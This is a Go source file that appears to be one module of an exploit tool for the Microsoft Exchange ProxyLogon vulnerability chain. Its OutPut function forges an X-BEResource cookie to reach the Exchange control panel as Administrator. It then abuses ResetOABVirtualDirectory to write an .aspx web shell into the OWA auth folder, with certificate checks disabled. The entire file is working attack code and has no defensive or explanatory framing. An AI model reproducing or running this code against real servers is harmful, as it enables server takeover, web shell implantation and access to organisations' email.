package lib

import (
	"crypto/tls"
	"io/ioutil"
	"net/http"
	"strconv"
	"strings"
	"time"
)

func OutPut(url ,rand, fqdn,sid,aobid,exsession,netsession string) bool {
	data := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "`+aobid+`"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\t00ls-`+rand+`.aspx"}}}`
	client := &http.Client{Timeout: time.Second * 5,
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
	request, err := http.NewRequest(http.MethodPost, url, strings.NewReader(data))
	if err != nil {
		panic(err)
	}
	request.Header.Add("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:86.0) Gecko/20100101 Firefox/86.0")
	request.Header.Add("Accept","*/*")
	request.Header.Add("Connection","keep-alive")
	request.Header.Add("Cookie","X-BEResource=Administrator@"+fqdn+":444/ecp/DDI/DDIService.svc/SetObject?schema=" +
		"ResetOABVirtualDirectory&msExchEcpCanary="+exsession+"&a=~1942062522; ASP.NET_SessionId="+netsession+"; msExchEcpCanary="+exsession)
	request.Header.Add("Content-Type","application/json; charset=utf-8")
	request.Header.Add("Accept-Language","en-US")
	request.Header.Add("X-Requested-With","XMLHttpRequest")
	request.Header.Add("msExchLogonMailbox",sid)
	request.Header.Add("Content-Length",strconv.Itoa(len(data)))
	do, err := client.Do(request)
	if err != nil {
		panic(err)
	}else {
		defer func() {
			_=do.Body.Close()
		}()
	}
	all, err := ioutil.ReadAll(do.Body)
	if err != nil {
		panic(err)
	}
	strs := string(all)
	if do.StatusCode == http.StatusOK && len(strs) == 201 && strings.Contains(strs,"ProgressId")==true{
		return true
	}else {
		return false
	}
}
